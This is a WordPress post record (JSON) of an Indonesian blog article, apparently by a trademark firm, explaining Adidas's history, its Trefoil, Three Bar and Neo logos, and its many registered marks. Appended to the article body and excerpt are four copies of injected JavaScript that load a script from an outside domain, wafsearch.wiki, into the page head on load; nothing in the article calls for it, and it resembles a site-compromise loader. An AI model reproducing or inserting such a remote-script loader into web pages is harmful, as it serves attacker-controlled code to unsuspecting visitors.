{"id":5615,"date":"2025-04-06T13:13:49","date_gmt":"2025-04-06T13:13:49","guid":{"rendered":"https:\/\/affa.co.id\/?p=5555"},"modified":"2025-04-06T13:13:49","modified_gmt":"2025-04-06T13:13:49","slug":"satu-perusahaan-banyak-logo-buat-apa","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/04\/06\/satu-perusahaan-banyak-logo-buat-apa\/","title":{"rendered":"Satu Perusahaan Banyak Logo, Buat Apa?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Anda punya hobi olahraga? Atau jika Anda sekedar penikmat fashion yang hobi jalan-jalan di mal pasti tidak asing dengan <\/span><i><span style=\"font-weight: 400\">\u201cbrand\u201d<\/span><\/i><span style=\"font-weight: 400\"> Adidas. Atau mungkin Anda telah memiliki 1-2 produknya. Kalaupun tidak, hampir pasti ada teman atau keluarga Anda yang memilikinya. Logo Adidas yang ikonik bisa ditemukan di berbagai lini produk pakaian dan perlengkapan olahraga yang sangat mudah teridentifikasi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tapi kenapa Adidas punya banyak logo? Mana sebenarnya yang asli? Apakah di antara logo-logo ini ada yang palsu? Artikel ini akan menjawab pertanyaan tersebut dan membahas bagaimana strategi <\/span><i><span style=\"font-weight: 400\">branding<\/span><\/i><span style=\"font-weight: 400\"> dan perlindungan hukum memainkan peran penting dalam keberagaman logo Adidas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Sejarah Adidas<\/b><\/p>\n<p><span style=\"font-weight: 400\">Adidas didirikan oleh <\/span><b>Adolf \u201cAdi\u201d Dassler<\/b><span style=\"font-weight: 400\"> di Herzogenaurach, Jerman, pada tahun 1949, setelah berpisah dari kakaknya, <\/span><b>Rudolf Dassler<\/b><span style=\"font-weight: 400\">, yang kemudian mendirikan <\/span><b>Puma<\/b><span style=\"font-weight: 400\">. Sebelumnya, keduanya bersama-sama memproduksi sepatu olahraga di bawah merek Dassler, yang meraih ketenaran internasional setelah digunakan oleh atlet asal Amerika Serikat, <\/span><b>Jesse Owens<\/b><span style=\"font-weight: 400\"> memenangkan empat medali emas di<\/span><b> Olimpiade Berlin 1936<\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Fokus Adi Dassler kemudian adalah inovasi teknologi sepatu dan membangun hubungan erat dengan para atlet. Ia percaya bahwa performa atlet dapat ditingkatkan melalui desain sepatu yang tepat, dan strategi ini terbukti efektif dalam membawa Adidas mendunia. Adi Dassler meninggal di tahun 1978, namun warisan semangat inovatif dan komitmennya terhadap kualitas tetap menjadi fondasi utama perusahaan hingga saat ini.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dalam perjalanannya, struktur perusahaan pun mengalami transformasi. Adidas kemudian menjadi perusahaan publik Adidas AG (Aktien Gesellschaft). Perubahan ini memungkinkan ekspansi bisnis yang lebih luas secara global, dengan pengelolaan Merek secara profesional dan berkelanjutan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>3 Logo Terpopuler Adidas<\/b><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Three Foil<\/b><b>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-5560\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2025\/04\/Screen-Shot-2025-04-05-at-10.29.08.png\" alt=\"\" width=\"894\" height=\"664\" \/><br \/>\n<\/b><span style=\"font-weight: 400\">Logo Adidas yang pertama kali digunakan saat <\/span><i><span style=\"font-weight: 400\">brand<\/span><\/i><span style=\"font-weight: 400\"> ini melakukan diversifikasi ke pakaian olahraga. Desainnya menampilkan tiga daun dengan tiga garis melintasinya, melambangkan keberagaman dan kehadiran Adidas di pasar global. Sejak tahun 2000, logo ini digunakan khusus untuk lini \u201c<\/span><b>Adidas Originals<\/b><span style=\"font-weight: 400\">,\u201d lini produk-produk klasik dari Adidas.<\/p>\n<p><\/span>Terdaftar Sejak:\u00a0 1971<br \/>\nPemilik: Adidas AG<\/li>\n<li style=\"font-weight: 400\"><b>Three Bar\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-5559\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2025\/04\/Screen-Shot-2025-04-05-at-10.28.41.png\" alt=\"\" width=\"954\" height=\"504\" \/><br \/>\n<\/b>Logo yang berbentuk tumpukan batang miring seperti gunung ini pertama kali dibuat untuk lini \u201c<b>Adidas Equipment<\/b><span>.\u201d Desainnya melambangkan tantangan dan tujuan yang harus dicapai oleh para atlet. Logo ini dirancang oleh Peter Moore, yang juga mendesain Nike Air Jordan.<\/p>\n<p><\/span>Terdaftar Sejak: 1991<br \/>\nPemilik: Adidas AG<\/li>\n<li style=\"font-weight: 400\"><b>Adidas Neo\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-5561\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2025\/04\/Screen-Shot-2025-04-05-at-10.28.56.png\" alt=\"\" width=\"820\" height=\"592\" \/><br \/>\n<\/b>Saat Adidas menghadirkan sub-Merek yang berfokus pada fashion olahraga, kasual dan <i><span>lifestyle<\/span><\/i><span> generasi muda, logo ini pun lahir. Logo lingkaran yang tercakar ini melambangkan produk dengan desain kekinian dengan harga terjangkau.<\/p>\n<p><\/span>Terdaftar Sejak: 2002<br \/>\nPemilik: Adidas AG<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Logo-Logo Lain Adidas<\/b><\/p>\n<p><span style=\"font-weight: 400\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-5558\" src=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/2025\/04\/adidas-6-copy-1024x595.png\" alt=\"\" width=\"1024\" height=\"595\" \/><\/span><\/p>\n<p><span style=\"font-weight: 400\">Selain logo-logo di atas, masih ada banyak lagi nama yang didaftarkan sebagai Merek oleh Adidas AG. Diantaranya adalah ADICOLOR, ADICROSS, ALPHASKIN, CLOADFOAM, DURAMO, NITE JOGGER, SAMBA, SOLARBOOST, STEALTRAX, ULTRABOOST, dan masih banyak lagi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Di negara-negara yang memiliki aksara unik, Adidas juga tidak lupa mendaftarkan Merek-nya dalam aksara lokal seperti <\/span><b>\u30a2\u30c7\u30a3\u30c0\u30b9<\/b><span style=\"font-weight: 400\"> di Jepang, <\/span><b>\u0e2d\u0e32\u0e14\u0e34\u0e14\u0e32\u0e2a <\/b><span style=\"font-weight: 400\">di Thailand, dan <\/span><b>\uc544\ub514\ub2e4\uc2a4<\/b><span style=\"font-weight: 400\"> di Korea Selatan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan strategi ini, Adidas tidak hanya memperkuat identitas setiap lini produknya, tetapi juga memastikan <\/span><span style=\"font-weight: 400\">perlindungan hukum yang komprehensif<\/span> <span style=\"font-weight: 400\">melalui pendaftaran berbagai logo sebagai Merek di seluruh dunia.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dibalik keberagaman logo tersebut, tersimpan strategi bisnis yang cermat: membangun loyalitas konsumen, memperluas cakupan pasar, dan mempertahankan dominasi di tengah persaingan global. Sebuah langkah yang mahal\u2014namun sepadan untuk mempertahankan posisinya di puncak klasemen industri.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Baca juga:<\/i><\/b><\/p>\n<p><a href=\"https:\/\/affa.co.id\/bhs\/ganti-logo-harus-daftar-merek-baru\/\"><b><i>Ganti Logo \u2013 Harus Daftar Merek Baru?<\/i><\/b><\/a><\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait pendaftaran logo dan\/atau Merek di dalam dan luar negeri, jangan ragu untuk menghubungi kami melalui email <\/b><a href=\"mailto:trademark@affa.co.id\"><b>trademark@affa.co.id<\/b><\/a><b>.<\/b>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Anda punya hobi olahraga? Atau jika Anda sekedar penikmat fashion yang hobi jalan-jalan di mal pasti tidak asing dengan \u201cbrand\u201d Adidas. Atau mungkin Anda telah memiliki 1-2 produknya. Kalaupun tidak, hampir pasti ada teman atau keluarga Anda yang memilikinya. Logo Adidas yang ikonik bisa ditemukan di berbagai lini produk pakaian dan perlengkapan olahraga yang sangat mudah teridentifikasi. &nbsp; Tapi kenapa Adidas punya banyak logo? Mana sebenarnya yang asli? Apakah di antara logo-logo ini ada yang palsu? Artikel ini akan menjawab pertanyaan tersebut dan membahas bagaimana strategi branding dan perlindungan hukum memainkan peran penting dalam keberagaman logo Adidas. &nbsp; Sejarah Adidas Adidas didirikan oleh Adolf \u201cAdi\u201d Dassler di Herzogenaurach, Jerman, pada tahun 1949, setelah berpisah dari kakaknya, Rudolf Dassler, yang kemudian mendirikan Puma. Sebelumnya, keduanya bersama-sama memproduksi sepatu olahraga di bawah merek Dassler, yang meraih ketenaran internasional setelah digunakan oleh atlet asal Amerika Serikat, Jesse Owens memenangkan empat medali emas di Olimpiade Berlin 1936. &nbsp; Fokus Adi Dassler kemudian adalah inovasi teknologi sepatu dan membangun hubungan erat dengan para atlet. Ia percaya bahwa performa atlet dapat ditingkatkan melalui desain sepatu yang tepat, dan strategi ini terbukti efektif dalam membawa Adidas mendunia. Adi Dassler meninggal di tahun 1978, namun warisan semangat inovatif dan komitmennya terhadap kualitas tetap menjadi fondasi utama perusahaan hingga saat ini. &nbsp; Dalam perjalanannya, struktur perusahaan pun mengalami transformasi. Adidas kemudian menjadi perusahaan publik Adidas AG (Aktien Gesellschaft). Perubahan ini memungkinkan ekspansi bisnis yang lebih luas secara global, dengan pengelolaan Merek secara profesional dan berkelanjutan. &nbsp; 3 Logo Terpopuler Adidas Three Foil Logo Adidas yang pertama kali digunakan saat brand ini melakukan diversifikasi ke pakaian olahraga. Desainnya menampilkan tiga daun dengan tiga garis melintasinya, melambangkan keberagaman dan kehadiran Adidas di pasar global. Sejak tahun 2000, logo ini digunakan khusus untuk lini \u201cAdidas Originals,\u201d lini produk-produk klasik dari Adidas. Terdaftar Sejak:\u00a0 1971 Pemilik: Adidas AG Three Bar Logo yang berbentuk tumpukan batang miring seperti gunung ini pertama kali dibuat untuk lini \u201cAdidas Equipment.\u201d Desainnya melambangkan tantangan dan tujuan yang harus dicapai oleh para atlet. Logo ini dirancang oleh Peter Moore, yang juga mendesain Nike Air Jordan. Terdaftar Sejak: 1991 Pemilik: Adidas AG Adidas Neo Saat Adidas menghadirkan sub-Merek yang berfokus pada fashion olahraga, kasual dan lifestyle generasi muda, logo ini pun lahir. Logo lingkaran yang tercakar ini melambangkan produk dengan desain kekinian dengan harga terjangkau. Terdaftar Sejak: 2002 Pemilik: Adidas AG &nbsp; Logo-Logo Lain Adidas Selain logo-logo di atas, masih ada banyak lagi nama yang didaftarkan sebagai Merek oleh Adidas AG. Diantaranya adalah ADICOLOR, ADICROSS, ALPHASKIN, CLOADFOAM, DURAMO, NITE JOGGER, SAMBA, SOLARBOOST, STEALTRAX, ULTRABOOST, dan masih banyak lagi. &nbsp; Di negara-negara yang memiliki aksara unik, Adidas juga tidak lupa mendaftarkan Merek-nya dalam aksara lokal seperti \u30a2\u30c7\u30a3\u30c0\u30b9 di Jepang, \u0e2d\u0e32\u0e14\u0e34\u0e14\u0e32\u0e2a di Thailand, dan \uc544\ub514\ub2e4\uc2a4 di Korea Selatan. &nbsp; Dengan strategi ini, Adidas tidak hanya memperkuat identitas setiap lini produknya, tetapi juga memastikan perlindungan hukum yang komprehensif melalui pendaftaran berbagai logo sebagai Merek di seluruh dunia.\u00a0 &nbsp; Dibalik keberagaman logo tersebut, tersimpan strategi bisnis yang cermat: membangun loyalitas konsumen, memperluas cakupan pasar, dan mempertahankan dominasi di tengah persaingan global. Sebuah langkah yang mahal\u2014namun sepadan untuk mempertahankan posisinya di puncak klasemen industri. &nbsp; Baca juga: Ganti Logo \u2013 Harus Daftar Merek Baru? Jika Anda membutuhkan informasi lebih lanjut terkait pendaftaran logo dan\/atau Merek di dalam dan luar negeri, jangan ragu untuk menghubungi kami melalui email trademark@affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5556,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[309,310,314,315,317,318,282,298,305,306,307,308],"class_list":["post-5615","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-daftar-merek","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5615","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5615"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5615\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5556"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5615"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5615"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5615"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}